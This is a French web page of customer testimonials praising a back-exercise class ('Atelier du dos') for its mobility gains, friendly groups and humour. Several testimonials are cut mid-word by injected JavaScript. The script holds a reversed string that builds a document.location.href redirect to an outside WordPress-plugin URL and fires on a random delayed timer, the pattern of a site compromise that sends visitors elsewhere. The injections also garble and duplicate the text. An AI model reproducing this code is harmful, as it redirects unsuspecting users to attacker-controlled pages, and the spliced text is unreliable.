Catégorie de témoignages : Catégorie Atelier du dos

J’ai découvert l’Atelier du Dos après une intervention chirurgicale « arthrodèse lombo-sacrée ». Depuis j’ai retrouvé une mobilité et une souplesse que j’avais perdues. Les exercices proposés sont toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours progressifs et adaptés à chacun, en tenant compte de sa pathologie personnelle. C’est un travail de …

J’ai retrouvé une mobilité et une souplesse que j’avais perdues. Lire la suite »

J’apprécie les exercices guidés, adaptés à nos capacités, à notre âge, notre endurance. Le fait d’être un petit groupe offre un moment de convivialité et d’effort bien sûr.

Motivation pour bouger, amélioration de la mobilisation. Adapté à son niveau. Efficacité et convivialité !

Les cours sont faits avec des discussions et de l’humour, avec un grand professionnalisme aussi, ce qui rend les séances très sympas. Je ne fais plus attention à mes gestes et à ma façon de me tenir.

Les cours sont variés et surtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout dynamiques. On ne s’ennuie jamais !!! A conseiller.

Les cours m’ont permis de ne pas avoir de maux de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dos malgré mon poids croissant, de me détendre, de connaitre quelque chose de différent avec les élastiques (comme faire des pompes sans trop d’efforts) et la convivialité du cours et du groupe ont été très appréciés.

Les exercices sont variés. J’ai acquis plus de souplesse et d’équilibre. J’ai plus d’assurance pour les exercices avec les gros ballons.

Plus de souplesse, moins d’appréhension pour bouger, de l’assurance physique et morale, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donc plus de joie de vivre.

Prise de conscience des exercices nécessaires pour muscler et assouplir son toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dos et éviter aussi le « mal de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dos ».

Tous les cours sont adaptés à toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous. Cours très variés, bonne ambiance, super !